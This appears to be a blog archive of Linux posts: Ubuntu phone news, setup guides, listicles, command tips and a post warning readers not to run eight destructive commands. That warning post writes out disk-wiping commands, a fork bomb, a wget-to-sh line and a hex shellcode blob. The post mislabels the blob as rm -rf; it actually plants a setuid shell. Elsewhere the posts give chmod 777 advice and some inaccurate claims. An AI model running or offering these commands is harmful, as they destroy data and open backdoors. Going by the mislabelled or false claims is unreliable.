Showing posts with label Linux. Show all posts

Ubuntu Touch coming to India :Ubuntu Based BQ Aquaris Phones To Reach India


The new open source-based mobile operating system which was introduced just six months ago, has reached various nations after it joined hands with smartphone manufacturers like BQ and Meizu

Canonical is gradually reaching out to the world. After entering China, Europe, the United States with its Ubuntu phones, it is now venturing into the Indian markets. The new open source based mobile operating system which was introduced just six months ago, has reached various nations after it joined hands with smartphone manufacturers like Bq and Meizu. Now the BQ Aquaris E4.5 and BQ Aquaris E5 phones are all set to make their debut in India.




While the operating system is still under development, it is successful in various regions. Ubuntu Touch would soon become a global phenomenon. While it is focusing on one region at a time, we hear that Ubuntu based phones would reach India by the end of this month.

"BQ will be launching the same two European devices. BQ Aquaris E4.5 and BQ Aquaris E5, with a black variant in India on the Snapdeal website. Two weeks after the launch, there will be an Ubuntu Store on Snapdeal where other Ubuntu products will be available. We haven't got a precise date for the launch, but it will happen probably in the next two weeks. For the Indian launch, Ubuntu Phone will not be released on devices with a specific Indian image but there will be specific apps content available from an Indian specific app store," Carla Sella posted on the blog.

India is definitely one of the biggest smartphone markets in the world. Hence, it will be interesting to see the performance of Ubuntu handsets in our country. While, Android operating system (OS) has already made its market in Indian, tech buffs are eagerly waiting for an open source mobile operating system. Meanwhile, BQ Aquaris E4.5 and BQ Aquaris E5 are priced at ₹ 12, 250 ₹ 14,500 in Europe respectively. 

µTorrent on Ubuntu [Linux]

µTorrent, or uTorrent is a freeware, ad-supported, proprietary BitTorrent client owned and developed by BitTorrent, Inc. With over 100 million users. It is the most widely used BitTorrent client.


µTorrent is used to download .torrent and magnet files (movies, games, songs, etc).
µTorrent is all platforms and is mostly used on windows pc. Setting up ÂµTorrent on Ubuntu is a little bit tricky.
But don't worry, I am here to help you go through it and use ÂµTorrent on your Ubuntu PC.

Steps to be Followed:

1 : Download latest ÂµTorrent Server from here

Note: (You need to download uTorrent Server for 13.04, also works for Ubuntu 14.04)

2 :  Extract uTorrent Files

  • Launch terminal and change directory to Downloads folder
cd Downloads/
  • Extract uTorrent files to the /opt directory
  • sudo tar xvzf utserver.tar.gz -C /opt/
    
3 : Set Permission
  • Set permission on uTorrent-server folder
  • sudo chmod -R 777 /opt/utorrent-server-alpha-v3_3/
4 : Set Symbolic Link
  • Run the command to link uTorrent server to the /user/bin directory.
  • sudo ln -s /opt/utorrent-server-alpha-v3_3/utserver /usr/bin/utserver
    
5 : Start ÂµTorrent


utserver -settingspath /opt/utorrent-server-alpha-v3_3/
Note: If you get an error about libssl.so package missing, run the command below to install it, then try starting it again.

sudo apt-get install libssl0.9.8:i386

6 : Log on to µTorrent

  • Open Firefox and browse to the URL

  • localhost:8080/gui
The username is admin and leave the password field empty



3 Ways to mount Linux Partition on Windows System

If you’re dual-booting Windows and Linux, you’ll probably want to access files on your Linux system from Windows at some point. Linux has built-in support for Windows NTFS partitions, but Windows can’t read Linux partitions without third-party software.


This list is focused on applications that support the Ext4 file system, which most new Linux distributions use by default. These applications all support Ext2 and Ext3, too – and one of them even supports ReiserFS.

Ext2Fsd

Ext2Fsd is a Windows file system driver for the Ext2, Ext3, and Ext4 file systems. It allows Windows to read Linux file systems natively, providing access to the file system via a drive letter that any program can acess.

You can have Ext2Fsd launch at every boot or only open it when you need it. While you can theoretically enable support for writing to Linux partitions, I haven’t tested this. I’d be worried about this option, myself – a lot can go wrong. Read-only support is fine, though, and doesn’t have a risk of messing anything up.

The Ext2 Volume Manager application allows you to define mount points for your Linux partitions and change Ext2Fsd’s settings.

If you didn’t set Ext2Fsd to autostart at boot, you’ll have to go into Tools –> Service Management and start the Ext2Fsd service before you can access your Linux files. By default, the driver automatically mounts and assigns drive letters to your Linux partitions, so you don’t have to do anything extra.

You’ll find your Linux partitions mounted at their own drive letters in Windows Explorer. You can access the files on them from any application, without the hassle of copying files to your Windows partition before accessing them.

This partition’s file system as actually EXT4, but Ext2Fsd can read it fine, anyway. If you’re looking for your personal files, you’ll find them in your /home/NAME directory.



DiskInternal's Linux Reader

Linux Reader is a freeware application from DiskInternals, developers of data recovery software. In addition to the Ext file systems, Linux Reader also supports ReiserFS and Apple’s HFS and HFS+ file systems. It’s read-only, so it can’t damage your Linux file system.


Linux Reader doesn’t provide access via a drive letter – it’s a separate application you launch to browse your Linux partitions.

Linux Reader shows previews of your files, making it easy to find the right one.

If you want to work with a file in Windows, you’ll have to save the file from your Linux partition to your Windows file system with the Save option. You can also save entire directories of files.


Ext2explore

It’s an open-source application that works similarly to DiskInternals Linux Reader — but only for Ext4, Ext3, and Ext2 partitions. It also lacks file previews, but it has one advantage: it doesn’t have to be installed; you can just download the .exe and run it.


The Ext2explore.exe program must be run as administrator or you’ll get an error – you can do this from the right-click menu.

To save some time in the future, go into the file’s properties window and enable the “Run this program as an administrator” option on the Compatibility tab.

As with Linux Reader, you’ll have to save a file or directory to your Windows system before you can open it in other programs.

10 Awesome Things You Can Do On Your Linux!

Well, it's no surprsie that the best things in life are always 'free'. Add to that Linux and open source, and you know what we are talkin about! Of course, Windows and Mac occupy a distinct edge in market, but that doesn't mean Linux is far behind. And just because you're a Windows/Mac buff, it doesn't mean learning a thing or two about Linux operating system will be downright waste for you. What if we tell you Linux can do newer things that were not even imagined with Windows around?



Well, here are 10 such tricks only Linux can offer: 

1. Get malware free environment

-Rest assured your Linux-powered device will not be affected by viruses.

-Not every file found in the wild is executed in Linux.

-Does not allow auto-runs every time you plug a new disk.

2. Make upgrade without rebooting 

-Every time you install software in Windows, it will ask you to reboot. However, with Linux you're saved the trouble!

3. You can also maintain the timestamp 

-You can know when a file was last accessed with the help of 'touch' command.

-Prevents anyone from stealthily touching your files as it maintains a timestamp.

-Further, there is no limit in length for a filename.

4. You can search and install software easily 

-Synaptic Package manager gives you access to most significant software packages from one source. Simply select your preference using drop down box to get the software that suits you best.

5. You can keep your system on for hundreds of hours and still have good processing speed 

-Linux can clock several hours with multiple users using it and still runs at usual speed unlike Windows.

6. Move bootable drives between machines without re-installing them 

-Each time you add RAM, Windows will always ask you to re-install. This is not the case with Linux.

7. Get software issues solved through forums 

-If something goes wrong in Windows, you have to run to an expert to fix it. With Linux, you have discussion forums to help you achieve the same.

8. Get all your hardware supported 

-Test all our hardware using live CD before installing the OS.

9. Choose your customised OS from hundreds of distributors 

-Linux is just the engine and different operating systems are built around it. You can hand pick the one that suits your need.

10. Install Linux for “free” and keep your Windows

-You can install Linux in a separate drive and keep your Windows as well.

-Also you can run Windows applications on Linux platform using WINE.

Top 10 Download Managers For Linux To Make Download Faster

Download managers help in downloading files and operates our systems in a more organised way. Users, who require downloading files on a daily basis, should have a good download manager in their system. A good download manager means which downloads files with high-speed, schedules downloads and ensures security while downloading. There are loads of choices for you if you are looking for the best Open Source Download Managers for Linux but selection becomes quite difficult. Here is a list of the best 10 among all the options:



1. uGet

This open source download manager is easy-to-use as it allows users download multiple files at a time by putting files in a queue. You can also pause and resume downloads as you wish and some other advanced features are also present like browser integration, clipboard monitoring, use of local languages etc. uGet is written in C language and its platform capability is excellent. Other than Linux, uGet is also compatible with Mac OS X, FreeBSD, Android and Windows.

2. GNU Wget

Internet protocols like http, https and ftp are used by GNU Wget for retrieving files and its key features include mirror directories where a filename is used as a wild card. This download manager also allows resume aborted downloads and even if the system is logged off, it can continue its functions in the background.

3. KGet

It is a download manager which is offered by kdenetwork group and it's best known for its simplicity. This manager doesn't accelerates downloads but its best feature is that it integrates with Konqueror browser to make downloads easier and faster.

4. MultiGet

This GUI file downloader is easy to use in Linux desktops and it's also compatible with Windows and Mac operating systems. HTTP/FTP protocols are supported by MultiGet and it fulfills users' requirements by supporting multi-tasking. While resuming paused downloads is enabled in this manager, the thread number can also be reconfigured without stopping the current task. The other protocols which are supported by MultiGet are SOCKS 4,4a,5 proxy, ftp proxy, http proxy.

5. DownThemAll!

This download manager is one of the best ones because of its extraordinary speed and user-friendly nature. This is a Firefox add-on which helps download all links and images on a webpage at the fsame time. The user gets full control over downloads and Metalinks are used to download a file from different servers at the same time. This manager can read the size of the files which are to be downloaded.

6. Aria

This download manager supports multiple languages and it's completely dedicated for Linux use. The key features of Aria are it checks CRC, http proxy server and also allows cut-paste and drag-drop options.

7. curl

It can be downloaded through your package manager and this download manager is based on the libcurl library. It's not multi-threaded but speed-wise curl is a better option than Wget, undoubtedly. But the commandline is not very easy to use, anyways.

8. Downloader For X

This download manager is also known as D4X and it also acts as an accelerator for Unix-like systems. This is an open source software which comes under the Artistic license. It also allows pausing and resuming downloads anytime as you wish and it supports both HTTP and FTP protocols. Download speeds can also be limited with this download manager.

9. JDownloader

This is another best Open Source download manager which targets the developers' community and it accelerates downloading. Downloads can be stopped, paused, resumed and bandwidth limitations can also be set. Jdownloader downloads files from One-Click-Hosters and it downloads in multiple parallel streams. Jdownloader also allows captcha recognition, automatic file extraction and so on.

10. prozilla

This download manager can be downloaded through a package manager or can be compiled from the source too. Known as one of the best download managers, speed acceleration is a point which can be received under Linux and it's compatible with IDM in Windows. It's a nice UI and its advanced features put this download manager at the best position.



5 Ways To Try Out Ubuntu On Your Computer Without A Fuss!

Canonical's poster child Ubuntu needs no introduction. Owing to its tremendous functionality and use of use accompanied by some real cool interface, Ubuntu has been keeping us busy for quite sometime now. The recently released Ubuntu 14.04 LTS has received tremendous response from users from walks of life across the globe. So, if you're itching to give Ubuntu a spin, you can try either of the following ways to install and try it out on your computer without a fuss!



1.Create/Boot from live USB or CD drive

-This is perhaps one of the most sought after ways to try out Ubuntu on your machine, also the easiest if you must.

-Simply insert your USB stick/CD/DVD laden with Ubuntu into your system and restart the computer. The computer will then automatically boot from the used removable media and you can start using Ubuntu from the word go without making any changes whatsoever to your computer’s hard drive.

-Creating a Ubuntu USB drive or CD is fairly simple. Simply head over to Ubuntu's official website and download the latest disk image and thereon it's all a walk in the park if you do it right, well actually there;s not much really to do.

2.Using Wubi to install Ubuntu on Windows

-If you don't want risking the sanctity of your hard drive by partioning it to make room for Ubuntu on your Windows powered systems, there is of course an alternate way to get things done here. This is particularly useful if you're installing Ubuntu just for the sake of trying it out and hope you won't continue for long.

-Wubi (Windows-based Ubuntu Installer) is an official Windows-based free software installer for Ubuntu, which installs the software on an existing Windows partition, thus without need for partitioning. The project's aim is to enable existing Windows users, unacquainted with Linux, to try Ubuntu without risking any data loss (due to disk formatting or partitioning mistakes). It can also safely uninstall Ubuntu from within Windows. Note that Wubi doesn't support Windows 8 as of now.

3.Run Ubuntu in a virtual machine

Start by downloading and installing VirtualBox on your computer. It is installed on an existing host operating system as an application; this host application allows additional guest operating systems, each known as a Guest OS, to be loaded and run, each with its own virtual environment.

-A virtual machine lets you try out Ubuntu even without needing to restart your computer, however, take note that an OS running from a virtual machine might not be one hundred per cent performance giver. Ideally, it will be slower than the original (Ubuntu desktop’s 3D effects for instance will not perfectly on a virtual machine).

4.Dual-booting

-Dual-booting is particularly effective when you want to leave the original OS on a computer untouched while you still want to try Ubuntu on the same. In dual-boot configuration, every time you start your computer you'll be prompted to chose which OS you want to proceed with.

5.Goodbye Windows, hello Ubuntu

The Replace Windows with Ubuntu option will completely remove Windows from your computer and will give way to a full-fledged Ubuntu OS.



Learn To Compile And Run C/C++ Code In Linux: 10 Steps To Follow

Are you interested in writing C or C++ programs on Ubuntu Linux instead of MS-Windows? Using the bash Terminal application you can compile a C or C++ program on any Linux distro, like Ubuntu, Red Hat, Fedora, Debian and others. You just need to install GNU C and C++ compiler collection, development tools, development libraries and IDE or text editor to write programs. Let's discuss the process step-wise:




Step #1: Install C/C++ compiler and related tools: 

Use the following yum command to install GNU C/C++ compiler, on Fedora, Red Hat, CentOS or Scientific Linux:
 # yum groupinstall 'Development Tools'

In case you are using Debian or Ubuntu Linux then you need the following apt-get command to install the same:
 $ sudo apt-get update
$ sudo apt-get install build-essential manpages-dev

Step #2: Verify installation: 

Type the following command to display the version number and location of the compiler on Linux:
$ whereis gcc
$ which gcc
$ gcc –version

Here is a sample of the output:



Step #3: How to Compile and Run C/C++ program on Linux: 

Create a file called demo.c using a text editor such as vi, emacs or joe:
#include
/* demo.c: My first C program on a Linux */
int main(void)
{
printf("Hello! This is a test prgoram.\n");
return 0;

Step #4: How to Compile the program on Linux? 

Use any one of the following syntax to compile the program called demo.c:

cc program-source-code.c -o executable-file-name

OR
gcc program-source-code.c -o executable-file-name

OR ## assuming that executable-file-name.c exists ##

cc demo.c -o demo

OR
## assuming demo.c exists in the current directory ##
make demo

If your code or C program has no error, then an executable file called demo will be successfully created by the compiler in the current directory, otherwise the code can be fixed. To verify this, type:
$ ls -l demo*

Step #5:How to run or execute the program called demo on Linux? 

Simply type the the program name:
$ ./demo
OR
$ /path/to/demo

Compiling and running a simple C++ program
Create a program called demo2.C as follows:
#include "iostream"
// demo2.C - Sample C++ prgoram
int main(void)
{
std::cout << "Hello! This is a C++ program.\n";
return 0;
}
To compile this program, enter:

make demo2


To run this program, type:

./demo2


Step #6: How to generate symbolic information for gdb and warning messages? 

The syntax is as follows C compiler:
cc -g -Wall input.c -o executable
The syntax is as follows C++ compiler:
g++ -g -Wall input.C -o executable

Step #7: How to generate optimized code on a Linux machine? 

The syntax is as follows C compiler:
cc -O input.c -o executable
The syntax is as follows C++ compiler:
g++ -O -Wall input.C -o executable
Step #8: How to compile a C program that uses math functions? 

The syntax is as follows when need pass the -lm option with gcc to link with the math libraries:
cc myth1.c -o executable -lm

Step #9: How to compile a C++ program that uses Xlib graphics functions? 

The syntax is as follows when need pass the -lX11 option with gcc to link with the Xlib libraries:
g++ fireworks.C -o executable -lX11

Step #10: How to compile a program with multiple source files? 

The syntax is as follows if the source code is in several files (such as light.c, sky.c, fireworks.c):
cc light.c sky.c fireworks.c -o executable
C++ syntax is as follows if the source code is in several files:
g++ ac.C bc.C file3.C -o my-program-name

Busting The Biggest Myths About Linux !

For many years Windows was the only operating system for many computer users. In fact, a majority of these users even didn't know that there was any other OS in the world. And for this reason, Linux, the free and open-source operating system was totally alienated. And slowly when people started to hear about the Linux based OS, many misconceptions started to cloud the free flow of the free and open source OS. So here we are trying to put some light on the real facts by killing the popular misconceptions!


1. Misconception: Linux is an Operating System (OS)

       Actually it is not. Linux is an OS kernel. The kernel is the core of all operating systems, and of course Windows has one too. The quality of the kernel is vital to the running of the OS. If your kernel is slow or buggy, your entire operating system will be slow and buggy. This means more crashes, freezes and hence data loss. 

The proper name for an operating system using the Linux kernel would be “GNU/Linux”, because the Linux kernel wouldn’t do much for you without the GNU project software. Although for the sake of readability of this list “Linux” has been used instead of “GNU/Linux” while referring to the operating systems that use the Linux kernel.

2. Misconception: Linux is a command line OS

Well, while command line does makes Linux strong, but it isn't necessary to use them. Different desktop environments like KDE and Gnome looks some what similar to Windows and are a good choice for those who want a break from Windows look and feel. Their are many other choices like Enlightenment, Metacity, IceWM, Blackbox, Window Maker, FVWM etc.

3. Misconception: Linux is for geeks only

Although this was true years ago, as Linux was an infant but it certainly isn’t like that any longer. If you take a careful look at the user interfaces of Linux and Windows, your find Linux much more intuitive than Windows.

4. Misconception: Linux is not compatible with Windows stuff

No to a big extent and yes to a very small extent. For majority of the users, Linux is very much compatible. One can read your emails, open your Office documents, view and edit your photo albums, and do everything that you do on your Windows PC- in fact often with better and faster tools than you’d be able to find on Windows. Flagships of open-source software like The Gimp, Inkscape, OpenOffice and many others, can import, read and often export proprietary file formats like Microsoft Office documents, Photoshop PSDs etc. And these tools can offer you even more than you’re used to. Like your OpenOffice docs can be exported from my document to PDF in just one click. No custom printers installed, no “free” web converters. It’s all natively supported.

Although, a few files can’t be directly opened here but it's not Linux who has to be blamed here. Put your blame to the author software of these files. Would you really want to depend on your software vendors to be able to access your data or would rather use an open-source and standardized format?

And if that does not sound good enough, Linux comes with a Windows translation layer called Wine. Using this layer you can run Windows application on Linux. Basically, it serves as a bridge between Linux and Windows applications. For you that means not giving up your familiar Windows programs.

5. Misconception: Nobody is using Linux

Well, this is one very very wrong concept. Infact a majority of the World Wide Web is standing on the shoulders of Linux and GNU software. Because Linux is modular and secure, it’s the most logical choice for a web server. Not only that, many corporate to tech companies and governments have switched their systems to Linux. It’s cheap, durable and safe. Unlike commercial operating systems, it is maintained by the community. 

6. Misconception: Linux doesn’t have technical support

It definitely does, and one can choose between paid and unpaid technical support. Unpaid technical support means that you have to depend on the large number of communities based online, where guidance is available twenty four hours a day. These are basically community of enthusiasts, who love to use and promote Linux and will be more than willing to help you with your problem. 

As far as paid technical support goes, there are companies such as Red Hat and Canonical which do just that. 

7. Misconception: There are no games for Linux

Well, yes once upon a time, games were a major drawback. This is especially true in terms of volume and we agree that there are a lot more games for Windows than for Linux but the scenario has definitely improved as compared to the past and almost every company today has decided to make a Linux version of their game. Linux now has its own version of all big games like Doom, Quake, Heroes of Might and Magic 3, Civilization 3, Soldier of Fortune, Tribes 2 and many others.

Also games like Sauerbraten, Nexuiz, Wolfenstein: Enemy Territory, UFO: Alien Invasion and Glest are all very much free and very much playable on Linux these days

8. Misconception: You have to ditch Windows to use Linux

And this is infact the biggest misconception. A lot of Linux distributions also offer a Live CD, which lets you to try Linux even without the installation. All you need to do is download, burn, reboot your PC and off you go. Additionally, there are Live USB flash drives versions. Also if you like it after the trial, these Live distributions give you the option of installing Linux alongside Windows. And this way you can use both operating systems on the same computer with no trouble at all. Linux folks have made sure of that, because they know nobody wants to jump into the unknown.

If you don’t want that, there are always alternatives, like the the Virtual Box, which allows you to install Linux on a virtual machine inside your Windows. Also, nobody’s stopping you from running Virtual Box on Linux and running Windows inside Linux.

10 Super Powerful Linux Commands You Should Know !

We always say that the most powerful Linux tools are its Command lines. This is because you can do about everything right from your command line. You can easily explain your computer exactly what you require and it comes back to you with appropriate results. Infact there are some commands that make this tool even more powerful! Here we bring to you a list of 10 such commands that work like energy drinks for you Linux machines!



1. Runing the last command as Root

sudo !!

Also if you want to open some file to make changes and right when want to save it, you realise that you forgot to open it as root, there is nothing to worry. The command above is your solution.

2. To find your external IP address.

curl ifconfig.me

3. Run your previous command with replacing “foo” with “bar”

^foo^bar

Or alternatively you can use the below command:

!!:gs/foo/bar

Also after running a long command, if you realise that you have made a mistake, this command helps you replace that one word instead of running the whole command again, unlike the previous command which can only replace foo.

4. Auto-empty any file without removing it

> file.txt

5. Execute command without saving it in the history

command

6. Slick way to copy or backup a file before you edit it.

cp filename{,.bak}

7. Traceroute is a nice command but how about a single network diagnostic tool that can combine traceroute with ping? mtr is your command.

mtr efytimes.com

8. To Clear your terminal's screen

ctrl-l

9. List of commands you use most often

history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

10. Saving the file you edited in vim/vi without the required permissions

:w !sudo tee %

Warning ! : Don't Run These 8 Commands on Linux Ever !!!

Linux's terminal commands are undowbtedly very useful. The fact that Linux won't ask you for confirmation if you run a command that won't break your system makes online trolls into luring you into running some not so very useful, but dangerous commands. Keeping your eyes opened is therefore a prime necessity !




1.  rm -rf /

     Deletes everything including files on your hard drive and files on connected removable media devices.

     rm - Remove the following files.
     -rf - Run rm recursively and force-remove all files without prompting you.
    /  - Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices.

     including remote file shares and removable drives.


2.  Disguised rm -rf /

     Actually, the hex version of rm -rf / - wipes out your files just as if you had run rm -rf/.

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


3.  :(){ :|: & };:

    This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that

continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.


4.  mkfs.ext4 /dev/sda1

     Equivalent to running format c: on Windows.

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.


5.  command > /dev/sda

    Writes the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.


6.   dd if=/dev/random of=/dev/sda

    dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.


7.   mv ~ /dev/null

    Moves your home directory to a black hole.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.


8.   wget http://example.com/something -o - | sh

    Downloads and runs a script.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Top 8 Funny Linux Commands !

The most powerful feature of Linux lies in its Command Line. But Terminal isn't meant to be this serious always, you can also have fun using some funny and amusing command lines. If you aren't aware of these yet, here are some amusing commands that will bring up the funny side of Linux:


1.  moo

     To install, run : $ apt-get moo

     This will display:
   

2.   sl
      
      The command is used to display files in a directory, but if you make a typo error and type sl instead you will be amused by an animated train running across your screen.

   

   To install sl, run the command below: $ sudo apt-get install sl

3.  figlet

     Figlet is used to display large characters created out of ordinary screen characters.
     To install Figlet, run the command :
        $ sudo apt-get install figlet

    After installation you can run : $ figlet character, hence running:

      figlet THE Coders
      gives
      

4.   xcowsay
    
       xcowsay displays a cute cow and a speech bubble.

       Install xcowsay : $ sudo apt-get install xcowsay

       Running xcowsay I Love THE Coder displays:

       

5.   oneko

      oneko brings a cute cat on your desktop to chase your mouse pointer everywhere it goes. The command also have other versions of bringing dog and other animals.

     Install oneko : $ sudo apt-get install oneko

     Running oneko displays this cute cat:


6. xeyes

     Xeyes brings eyes on your desktop that will spy on your mouse wherever it goes.

    Run : $ xeyes

     It brings: 
     

7.  rev

      This command is for reversing any input. So if you put in "THE Coders", the ouput will be
 "sredoC EHT"
    

8.  fortune
  
     fortune brings a random sentence, just like the fortune cookies do. The command isn't always installed by default so you need to install it. In Ubuntu

    $ sudo apt-get install fortune

   Run : $ fotune -s

     

    Now, also you can combine this with the cowsay or xcowsay command to make it funnier by running:

    $ fortune -s|xcowsay

     Which will bring :